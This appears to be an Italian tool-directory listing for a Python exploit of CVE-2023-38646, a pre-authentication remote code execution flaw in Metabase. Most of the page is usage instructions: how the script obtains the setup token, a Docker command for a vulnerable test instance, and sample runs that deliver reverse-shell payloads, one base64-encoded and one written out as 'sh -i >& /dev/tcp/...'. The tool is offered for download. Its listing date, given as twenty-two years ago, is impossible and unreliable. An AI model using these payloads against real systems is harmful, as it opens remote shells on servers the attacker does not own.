Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-38646 — Script Python per sfruttare la CVE-2023-38646 Metabase Pre-Auth RCE tramite SQL injection | Kitploit
Strumenti/GitHubGitHub/red4mber/cve-2023-38646
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubred4mber/cve-2023-38646

CVE-2023-38646

Script Python per sfruttare la CVE-2023-38646 Metabase Pre-Auth RCE tramite SQL injection

Vedi Repository
22 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-38646

Script Python per sfruttare CVE-2023-38646 Metabase Pre-Auth RCE tramite SQL injection

Lo script esegue una richiesta GET /api/session/properties per ottenere il setup token e valutare la sfruttabilità del target. Se è vulnerabile, stamperà il setup token, altrimenti terminerà con un messaggio di errore.

Se viene usata l'opzione -x e il target è vulnerabile, verrà utilizzato il payload fornito per tentare di sfruttare la vulnerabilità.

Maggiori informazioni in questo fantastico writeup del team che ha scoperto la vulnerabilità: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

root@kitploit:~
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url

Metabase Pre-Auth RCE Exploit

positional arguments:
  url                Url of the metabase instance

optional arguments:
  -h, --help         Show this help message and exit
  -x BASE64_PAYLOAD  Exploits the vulnerability

Se necessario, puoi avviare rapidamente un ambiente di test in un container Docker usando questo comando:

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6

Dopo aver visitato http://127.0.0.1:3000/ per completare la configurazione e aver avviato un listener,
Puoi sfruttare la RCE con qualcosa del genere:

root@kitploit:~
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/

# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/

oppure puoi ottenere la tua reverse shell codificata in base64 visitando revshells.com

Scarica lo strumento